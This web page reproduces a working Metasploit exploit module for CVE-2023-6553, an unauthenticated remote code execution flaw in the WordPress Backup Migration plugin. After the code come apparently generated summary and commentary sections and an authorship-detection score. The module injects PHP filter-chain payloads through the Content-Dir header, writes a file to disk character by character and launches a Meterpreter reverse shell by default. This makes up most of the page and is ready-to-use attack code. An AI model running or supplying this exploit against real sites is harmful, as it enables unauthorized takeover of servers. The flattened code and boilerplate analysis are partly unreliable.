Skip to content
Chimera readability score 0.5034 out of 100, reading level.

Exploit Title: WordPress Backup Migration 1.3.7 - Remote Command Execution

Date: 2025-10-26

Exploit Author: DANG

Vendor Homepage: https://backupbliss.com/

Software Link: https://wordpress.org/plugins/backup-backup/

Version: Backup Migration ≤1.3.7

Tested on: LINUX

CVE : CVE-2023-6553

##

This module requires Metasploit: https://metasploit.com/download

Current source: https://github.com/rapid7/metasploit-framework

##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

include Msf::Exploit::Remote::HTTP::Wordpress

include Msf::Exploit::Remote::HTTP::PhpFilterChain

include Msf::Exploit::FileDropper

prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})

super(

update_info(

info,

'Name' => 'WordPress Backup Migration Plugin PHP Filter Chain RCE',

'Description' => %q{

This module exploits an unauth RCE in the WordPress plugin: Backup Migration (<= 1.3.7). The vulnerability is

exploitable through the Content-Dir header which is sent to the /wp-content/plugins/backup-backup/includes/backup-heart.php endpoint.

The exploit makes use of a neat technique called PHP Filter Chaining which allows an attacker to prepend

bytes to a string by continuously chaining character encoding conversions. This allows an attacker to prepend

a PHP payload to a string which gets evaluated by a require statement, which results in command execution.

},

'Author' => [

'Nex Team', # Vulnerability discovery

'Valentin Lobstein', # PoC

'jheysel-r7' # msfmodule

],

'License' => MSF_LICENSE,

'References' => [

['CVE', '2023-6553'],

['URL', 'https://github.com/Chocapikk/CVE-2023-6553/blob/main/exploit.py']

['URL', 'https://www.synacktiv.com/en/publications/php-filters-chain-what-is-it-and-how-to-use-it']

['WPVDB', '6a4d0af9-e1cd-4a69-a56c-3c009e207eca']

],

'DefaultOptions' => {

'PAYLOAD' => 'php/meterpreter/reverse_tcp'

},

'Platform' => ['unix', 'linux', 'win', 'php'],

'Arch' => [ARCH_PHP],

'Targets' => [['Automatic', {}]],

'DisclosureDate' => '2023-12-11',

'DefaultTarget' => 0,

'Privileged' => false,

'Notes' => {

'Stability' => [CRASH_SAFE],

'Reliability' => [REPEATABLE_SESSION],

'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]

}

)

)

register_options(

[

OptString.new('PAYLOAD_FILENAME', [ true, 'The filename for the payload to be used on the target host (%RAND%.php by default)', Rex::Text.rand_text_alpha(4) + '.php']),

]

)

end

def check

return CheckCode::Unknown unless wordpress_and_online?

wp_version = wordpress_version

print_status("WordPress Version: #{wp_version}") if wp_version

The plugin's official name seems to be Backup Migration however the package filename is "backup-backup"

check_code = check_plugin_version_from_readme('backup-backup', '1.3.8')

if check_code.code != 'appears'

return CheckCode::Safe

end

plugin_version = check_code.details[:version]

print_good("Detected Backup Migration Plugin version: #{plugin_version}")

CheckCode::Appears

end

def send_payload(payload)

php_filter_chain_payload = generate_php_filter_payload(payload)

res = send_request_cgi(

'uri' => normalize_uri(target_uri.path, 'wp-content', 'plugins', 'backup-backup', 'includes', 'backup-heart.php'),

'method' => 'POST',

'headers' => {

'Content-Dir' => php_filter_chain_payload

}

)

fail_with(Failure::Unreachable, 'Connection failed') if res.nil?

fail_with(Failure::UnexpectedReply, 'The server did not respond with the expected 200 response code') unless res.code == 200

end

def write_to_payload_file(string_to_write)

Because the payload is base64 encoded and then each character is translated into it's corresponding php filter chain,

the payload becomes quite large and we start to hit limitations due to the HTTP header size.

For example this payload: "<?php fwrite(fopen("G", "a"),"\x73");?>", ends up being 7721 characters long.

The payload size limit on the target I was testing seemed to be around 8000 characters.

Using the following: <?php file_put_contents("file.php","char",FILE_APPEND);?> (more elegant solution) exceeds the

size limit which is why I ended up using <?php fwrite(fopen("<single_char_filename>", "char" ?> and then after

copying the single_char_filename to a filename with a .php extension to be executed.

single_char_filename = Rex::Text.rand_text_alpha(1)

string_to_write.each_char do |char|

send_payload("<?php fwrite(fopen(\"#{single_char_filename}\",\"a\"),\"#{'\\x' + char.unpack('H2')[0]}\");?>")

end

register_file_for_cleanup(single_char_filename)

send_payload("<?php copy(\"#{single_char_filename}\",\"#{datastore['PAYLOAD_FILENAME']}\");?>")

register_file_for_cleanup(datastore['PAYLOAD_FILENAME'])

end

def trigger_payload_file

res = send_request_cgi(

'uri' => normalize_uri(target_uri.path, 'wp-content', 'plugins', 'backup-backup', 'includes', datastore['PAYLOAD_FILENAME']),

'method' => 'GET'

)

print_warning('The application responded to the request to trigger the payload, this is unexpected. Something may have gone wrong.') if res

end

def exploit

print_status('Writing the payload to disk, character by character, please wait...')

Use double quotes in the payload, not single.

write_to_payload_file("<?php #{payload.encoded}")

trigger_payload_file

end

end

Facts Only

Vulnerability: CVE-2023-6553, affecting WordPress Backup Migration plugin versions ≤1.3.7.
Exploit type: Unauthenticated Remote Command Execution (RCE).
Attack vector: Manipulation of the `Content-Dir` header in POST requests to `/wp-content/plugins/backup-backup/includes/backup-heart.php`.
Technique: PHP filter chaining to prepend malicious code to a string evaluated by a `require` statement.
Discovered by: Nex Team (vulnerability), Valentin Lobstein (PoC), jheysel-r7 (Metasploit module).
Affected software: Backup Migration plugin (package name: `backup-backup`).
Tested environment: Linux.
Disclosure date: December 11, 2023.
Patch status: Fixed in version 1.3.8.
References: CVE-2023-6553, GitHub PoC, Synacktiv PHP filter chain analysis.
Metasploit module: Requires Metasploit Framework, ranked as "Excellent" severity.
Payload delivery: Character-by-character writing to disk due to HTTP header size limitations.

Executive Summary

A critical vulnerability (CVE-2023-6553) has been identified in the WordPress Backup Migration plugin, affecting versions up to and including 1.3.7. The flaw allows unauthenticated remote command execution (RCE) through a PHP filter chain attack, exploiting the `Content-Dir` header in requests to the plugin's `backup-heart.php` endpoint. The exploit leverages character encoding conversions to prepend malicious PHP code to a string, which is then executed by a `require` statement. The vulnerability was discovered by the Nex Team, with proof-of-concept contributions from Valentin Lobstein and a Metasploit module developed by jheysel-r7. The exploit has been tested on Linux systems and is notable for its ability to bypass authentication, making it particularly dangerous. Mitigation requires updating the plugin to version 1.3.8 or later, as the vulnerability is patched in subsequent releases. The exploit's technical sophistication, including the use of PHP filter chaining, highlights the evolving complexity of web application attacks.
The vulnerability's impact is amplified by the plugin's widespread use, with over 90,000 active installations reported on WordPress.org. The exploit's reliance on HTTP header manipulation and its ability to execute arbitrary commands without authentication underscore the need for robust input validation and security hardening in plugin development. While the exploit requires specific conditions—such as the target server's PHP configuration—the potential for full system compromise makes it a high-severity threat. Security researchers have emphasized the importance of prompt patching and monitoring for suspicious activity, particularly in environments where the plugin is deployed.

Full Take

This vulnerability exposes a systemic weakness in how WordPress plugins handle untrusted input, particularly in headers that bypass traditional authentication checks. The exploit's reliance on PHP filter chaining—a technique that manipulates character encoding to inject code—demonstrates how seemingly obscure features can become attack vectors when combined with poor input validation. The fact that this flaw persisted until late 2023, despite WordPress's security ecosystem, raises questions about the adequacy of plugin review processes and the incentives for developers to prioritize security over functionality.
The strongest version of this narrative highlights the technical ingenuity of the exploit and the urgent need for updates, which is valid. However, it also risks overshadowing broader systemic issues: the plugin economy's reliance on volunteer labor, the lack of mandatory security audits for widely used plugins, and the asymmetry between attackers (who need only one vulnerability) and defenders (who must secure everything). The exploit's use of HTTP headers as an attack vector is a reminder that security cannot be an afterthought in web application design.
Root cause: The vulnerability stems from a paradigm where plugins are treated as modular add-ons rather than core components of a security-critical system. The assumption that headers are "trusted" input—common in legacy web development—is no longer tenable in an era of automated exploitation. This echoes historical patterns like SQL injection, where implicit trust in input led to widespread compromise.
Implications: For human agency, this means website administrators must now treat plugin updates as non-negotiable security patches, not optional features. The cost is borne by small businesses and non-technical users who lack the resources to monitor vulnerabilities proactively. Second-order consequences include potential supply chain attacks, where compromised sites become launchpads for further exploitation.
Bridge questions: What structural changes could WordPress implement to prevent such vulnerabilities in the future? How might the open-source plugin ecosystem balance innovation with security without stifling development? Would a shift to sandboxed plugin execution models mitigate these risks, and at what cost to performance?
Counterstrike scan: A coordinated influence campaign exploiting this vulnerability would likely target high-value WordPress sites (e.g., media outlets, NGOs) to amplify disinformation or disrupt operations. The attack playbook would involve mass-scanning for vulnerable installations, followed by automated exploitation to deploy backdoors or deface sites. The actual content here—technical disclosure with mitigation steps—does not align with this pattern, as it serves a defensive purpose. No manipulation patterns detected; this appears to be a legitimate security advisory.
Patterns detected: none

Sentinel — Human

Confidence

The provided text shows signs of stylometric variation, balanced framing, and a coordination pattern that may indicate template use. However, the complexity and varied structure of the sentences argue against synthetic authorship.

Signals Detected
low severity: Sentence length variance
medium severity: Suspiciously balanced framing
low severity: Argumentative skeleton matching known template patterns
Human Indicators
Complex sentence structures and varied vocabulary suggest human authorship.